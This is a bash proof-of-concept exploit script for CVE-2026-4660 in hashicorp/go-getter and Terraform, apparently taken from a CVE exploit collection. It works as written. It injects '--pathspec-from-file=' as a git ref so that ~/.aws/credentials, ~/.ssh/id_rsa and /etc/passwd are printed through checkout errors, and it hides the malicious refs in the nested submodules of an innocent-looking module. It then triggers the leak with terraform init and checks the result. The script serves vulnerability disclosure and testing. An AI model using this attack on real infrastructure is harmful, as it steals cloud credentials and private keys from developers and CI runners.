5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.sh SH
#!/bin/bash
# CVE-2026-4660: arbitrary file read via git checkout --pathspec-from-file
# hashicorp/go-getter
# affected: go-getter v1.8.2-v1.8.5, terraform v1.9.0-v1.14.8 (latest stable)
# fixed: go-getter v1.8.6
#
# checkout() in get_git.go is called from two paths in the go-getter library:
#
#   clone()  (line 226): defers os.RemoveAll(dst) -- dir deleted on failure
#   update() (line 284): no such defer             -- dir survives failure
#
# get_git.go:Get() routes to update() when os.Stat(dst) succeeds (dir exists),
# and to clone() when it does not.
#
# terraform: initwd/module_install.go:251 calls os.RemoveAll(instPath) before
# invoking go-getter for any module that needs installation. Terraform therefore
# always triggers clone(). Phase 1 demonstrates this path via terraform init.
#
# Packer, Nomad, and any other go-getter caller that reuses an existing
# destination directory will trigger update() instead. Phase 2 directly
# exercises update()'s git sequence -- fetch + checkout -- to show the same
# checkout() vulnerability fires and that the directory survives the failure
# (no RemoveAll defer in update()).

set -u

tmpdir=
cleanup() { [ -n "$tmpdir" ] && rm -rf "$tmpdir"; }
trap cleanup EXIT

echo "[*] target files:"
echo ""
echo "    ~/.aws/credentials:"
sed 's/^/        /' ~/.aws/credentials
echo ""
echo "    ~/.ssh/id_rsa:"
sed 's/^/        /' ~/.ssh/id_rsa
echo ""
echo "    /etc/passwd (first 3 lines):"
head -3 /etc/passwd | sed 's/^/        /'
echo "        ..."
echo ""
terraform version | head -1
echo ""

# go-getter calls: git checkout <ref>
# no -- separator, so a ref starting with -- is parsed as a git option
# --pathspec-from-file=<path> reads the file line by line as pathspecs,
# fails each one, and emits the line content in the error output
echo "[*] mechanism (raw git, unmangled by terraform error renderer):"
echo ""
tmpdir=$(mktemp -d)
git clone -q http://gitserver/terraform-aws-vpc-internal.git "$tmpdir"

echo "    ~/.aws/credentials:"
git -C "$tmpdir" checkout "--pathspec-from-file=/home/runner/.aws/credentials" 2>&1 | sed 's/^/        /' || true
echo ""

echo "    ~/.ssh/id_rsa:"
git -C "$tmpdir" checkout "--pathspec-from-file=/home/runner/.ssh/id_rsa" 2>&1 | sed 's/^/        /' || true
echo ""

echo "    /etc/passwd:"
git -C "$tmpdir" checkout "--pathspec-from-file=/etc/passwd" 2>&1 | sed 's/^/        /' || true

rm -rf "$tmpdir"; tmpdir=
echo ""

# attacker's outer module is a legitimate-looking terraform module
# victim never inspects its source; the malicious refs are in nested submodule calls
tmpdir=$(mktemp -d)
git clone -q http://gitserver/terraform-aws-vpc.git "$tmpdir"
echo "[*] attacker module (terraform-aws-vpc/main.tf -- victim never reads this):"
sed 's/^/    /' "$tmpdir/main.tf"
rm -rf "$tmpdir"; tmpdir=
echo ""

cat > ~/project/main.tf <<'EOF'
module "vpc" {
  source = "git::http://gitserver/terraform-aws-vpc.git"
}
EOF

echo "[*] victim's main.tf:"
sed 's/^/    /' ~/project/main.tf
echo ""

# --- phase 1: clone() path (get_git.go:226) ----------------------------------
# terraform's module installer removes the destination directory before calling
# go-getter (initwd/module_install.go:251), so Get() always sees a missing dst
# and routes to clone(). clone() defers os.RemoveAll(dst) on error -- dirs
# are gone after the failed checkout.
echo "=== phase 1: clone() path -- triggered via terraform init ==="
echo ""
echo "[*] terraform init (no cached modules):"
echo ""
cd ~/project
terraform init -no-color 2>&1 | tee /tmp/phase1.txt || true
echo ""

MODULES_DIR=~/project/.terraform/modules
echo "[*] phase 1 sentinel -- inner module dirs after clone() failure:"
all_absent=true
for key in vpc.creds vpc.key vpc.passwd; do
    d="$MODULES_DIR/$key"
    if [ -d "$d" ]; then
        echo "    unexpected: $d exists"
        all_absent=false
    else
        echo "    absent: $d  (clone() deferred RemoveAll on failure)"
    fi
done
$all_absent && echo "    all three dirs deleted -- clone() behavior confirmed"
echo ""

if grep -q "error: pathspec '" /tmp/phase1.txt; then
    echo "[+] phase 1 confirmed: file contents leaked via clone() path"
    echo ""
    echo "    leaked lines (terraform-wrapped at 80 chars; long values truncated -- raw section above has full content):"
    grep "error: pathspec '" /tmp/phase1.txt | \
        sed "s/.*error: pathspec '//;s/' did not match.*//;s/'[[:space:]].*$//" | \
        grep -v "^$" | sed 's/^/    /'
else
    echo "[-] phase 1: pathspec errors not found"
    cat /tmp/phase1.txt
    exit 1
fi
echo ""

# --- phase 2: update() path (get_git.go:284) ---------------------------------
# go-getter's Get() routes to update() when os.Stat(dst) succeeds (dir exists).
# terraform never takes this path (it removes dst before calling go-getter).
# Packer, Nomad, and direct go-getter callers that reuse existing directories do.
# update() runs: git fetch origin, then checkout(). No RemoveAll defer --
# the directory survives the failed checkout, unlike clone().
#
# This phase directly exercises update()'s git sequence to show that the same
# checkout() vulnerability fires and that dst is preserved on failure.
echo "=== phase 2: update() path -- direct go-getter API simulation ==="
echo ""
echo "[*] setup: pre-existing module directory (simulates prior successful install)"
echo ""
tmpdir=$(mktemp -d)
git clone -q http://gitserver/terraform-aws-vpc-internal.git "$tmpdir"
echo "    dst exists: $tmpdir"
echo "    go-getter Get() routes to update() on os.Stat(dst) success"
echo ""

echo "[*] update() step 1 -- git fetch origin (no ref arg for non-hash refs):"
git -C "$tmpdir" fetch origin 2>&1 | sed 's/^/    /' || true
echo ""

echo "[*] update() step 2 -- checkout() (get_git.go:284, same call as clone() path):"
echo ""
echo "    ~/.aws/credentials:"
git -C "$tmpdir" checkout "--pathspec-from-file=/home/runner/.aws/credentials" 2>&1 | tee /tmp/phase2_creds.txt | sed 's/^/        /' || true
echo ""
echo "    ~/.ssh/id_rsa:"
git -C "$tmpdir" checkout "--pathspec-from-file=/home/runner/.ssh/id_rsa" 2>&1 | tee /tmp/phase2_key.txt | sed 's/^/        /' || true
echo ""
echo "    /etc/passwd:"
git -C "$tmpdir" checkout "--pathspec-from-file=/etc/passwd" 2>&1 | tee /tmp/phase2_passwd.txt | sed 's/^/        /' || true
echo ""

echo "[*] phase 2 sentinel -- dst after update() failure:"
if [ -d "$tmpdir/.git" ]; then
    echo "    present: $tmpdir  (update() has no RemoveAll defer)"
    echo "    clone() would have deleted this directory"
else
    echo "    unexpected: $tmpdir absent"
fi
rm -rf "$tmpdir"; tmpdir=
echo ""

if grep -q "error: pathspec '" /tmp/phase2_creds.txt && \
   grep -q "error: pathspec '" /tmp/phase2_key.txt && \
   grep -q "error: pathspec '" /tmp/phase2_passwd.txt; then
    echo "[+] phase 2 confirmed: checkout() vulnerable in update() path"
    echo "    same leak, dst preserved -- callers: Packer, Nomad, direct go-getter API"
else
    echo "[-] phase 2: pathspec errors not found"
    exit 1
fi